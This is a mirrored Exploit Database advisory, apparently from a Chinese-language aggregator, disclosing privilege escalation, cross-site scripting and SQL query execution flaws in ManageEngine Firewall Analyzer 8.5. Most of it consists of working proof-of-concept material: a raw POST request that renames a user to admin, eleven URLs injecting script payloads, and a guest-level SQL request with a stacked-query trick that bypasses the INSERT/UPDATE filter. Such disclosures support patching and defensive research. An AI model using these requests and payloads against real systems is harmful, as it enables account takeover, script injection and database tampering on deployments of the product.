ManageEngine Firewall Analyzer 8.5 – Multiple Vulnerabilities

• Exploit Database
• 111 阅读

• 作者： Sachin Wagh
  日期： 2016-02-19
• 类别：

  • webapps
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/39477/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154

  ================================================================ ManageEngine Firewall Analyzer 8.5– Privilege Escalation Vulnerability ================================================================   Description :   Vulnerability Type : Privilege Escalation Vulnerability Vulnerable Version : 8.5 Vendor Homepage:https://www.manageengine.com/products/firewall/download.html CVE-ID : Severity : High Author – Sachin Wagh (@tiger_tigerboy)   ManageEngine Firewall Analyzer is an agent less log analytics and configuration management software that helps network administrators to centrally collect, archive, analyze their security device logs and generate forensic reports out of it.   It allows an attacker to gain admin privileges.   Proof of Concept URL --------------------   1. Setup Burp and change user password and change username to admin.   2. Burp Request :   POST /fw/userManagementForm.do HTTP/1.1 Host: localhost:8500 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost:8500/fw/index2.do?url=archivedFiles&helpP=archivedFiles&completeData=true&tab=system&subTab=cal&flushCache=true&DateRange=false&timeFrame=LastWeek Cookie: leftPanel=230px; JSESSIONID=E58D08B4F3AF70279BBB128D713EADB7; JSESSIONIDSSO=A326C72CC526B521A8EA9286C7951F0C; FWA_TABLE=TS Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 159   password=guest&email=guest%40adventnet.com &addField=false&userName=guest&userID=2&changePassword=true&isDemo=false&domainName=&productName=firewall&next=logoff   #########################################################   ================================================================ ManageEngine Firewall Analyzer 8.5– Multiple Cross-Site Scripting Vulnerability ================================================================   Description :   Vulnerability Type : Multiple Cross Site Scripting Vulnerability Vulnerable Version : 8.5 Vendor Homepage:https://www.manageengine.com/products/firewall/download.html CVE-ID : Severity : High Author – Sachin Wagh (@tiger_tigerboy)     ManageEngine Firewall Analyzer is an agent less log analytics and configuration management software that helps network administrators to centrally collect, archive, analyze their security device logs and generate forensic reports out of it.   ManageEngine Firewall Analyzer is prone to multiple cross-site scripting vulnerabilities because it fails to sanitize user-supplied input. An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site.   Proof of Concept URL -----------------------------------------------------------------------------------------------------------------------------------   1. http://localhost:8500/ResolveDNSConfig.nms?f4efe "><script>alert(1)</script>2b1254aa403=1 2. http://localhost:8500/addDevCrd.nms?cba2d "><script>alert(1)</script>99328e18e3f=1 3. http://localhost:8500/customizeReportAction.nms?flushAll=true&17eab "><script>alert(1)</script>d1bf001d67b=1 4. http://localhost:8500/userIPConfig.nms?fe1b5 "><script>alert(1)</script>62ff05628d3=1 5. http://localhost:8500/viewListPageAction.nms?3078c "><script>alert(1)</script>fea0d816dfe=1 6. http://localhost:8500/createAnomaly.nms?dc8c4%22%3E%3Cscript%3Ealert%281%29%3C/script%3E0c840168f94=1 7. http://localhost:8500/createProfile.do?66342 "><script>alert(1)</script>7cdd43cf7ed=1 8. http://localhost:8500/fw/ResolveDNSConfig.nms?dnsOption=1&dnsMemorySize=10000&dnsUpdate=&dnsResult=&6adac%22%3E%3Cscript%3Ealert%281%29%3C/script%3E619a9b8bff2d28708=1 9. http://localhost:8500/fw/index2.do?url=advSrchAction&tab=search&sMode=adv&subTab=advSrch&3602d%22%3E%3Cscript%3Ealert%281%29%3C/script%3E4bb604792b5eb3ace=1&DateRange=&flushCache=&additionalParams=sMode%3dadv%26subTab%3dadvSrch%26tab%3dsearch%26url%3dadvSrchAction&functionName=&to=2016-01-15+00%3a00+++2016-01-15+12%3a35&uniqueReport=null 10. http://localhost:8500/searchAction.do?fd272%22%3E%3Cscript%3Ealert%281%29%3C/script%3Eace8dfca87a=1 11. http://localhost:8500/uniquereport.do?baseUrl=uniquereport&resourceName=SimulatedFirewall1&displayName=SimulatedFirewall1&reportId=1&resourceType=Firewall&divid=Firewall_1&divType=block&applyTimeCriteria=true&7db2f%22%3E%3Cscript%3Ealert%281%29%3C/script%3E8d3926f45f8=1   #########################################################   ================================================================ ManageEngine Firewall Analyzer 8.5 SQL Query Execution Vulnerability ================================================================   Description :   Vulnerability Type : ManageEngine Firewall Analyzer 8.5 SQL Query Execution Vulnerability Vulnerable Version : 8.5 Vendor Homepage:https://www.manageengine.com/products/firewall/download.html CVE-ID : Severity : High Author – Sachin Wagh (@tiger_tigerboy)   ManageEngine Firewall Analyzer is an agent less log analytics and configuration management software that helps network administrators to centrally collect, archive, analyze their security device logs and generate forensic reports out of it.   The vulnerability exists due to an error in the RunQuerycommand.An authenticated, remote attacker could exploit this vulnerability via a crafted POST request.An exploit could allow the attacker to execute arbitrary SQL queries on theunderlying database server.   Every user has the ability to execute SQL queries through the "/fw/runQuery.do" script, including the default "guest" user.   Below is the POST request, executed as "guest":   POST /fw/runQuery.do HTTP/1.1 Host: localhost:8500 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost:8500/fw/runQuery.do Cookie: username=guest; password=8094789293; leftPanel=230px; JSESSIONID=3590F06EA06BBA9B0FC9A40405E1144F; JSESSIONIDSSO=96016151FC34CD1EA17192C6AF288A14; FWA_TABLE=TS Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 123   execute=true&DatabaseType=postgres&query=select version()   Access to queries starting with "INSERT" or "UPDATE" giving warning as "operation not permitted"   But When executed query, like this:"SELECT 1;INSERT INTO ..." its not giving any warning.     Affected Product: ------------------------------------------------------------------------------------------------------------   Vulnerable Product: [+]ManageEngine Firewall Analyzer 8.5   Credits & Authors ------------------------------------------------------------------------------------------------------------- Sachin Wagh (@tiger_tigerboy)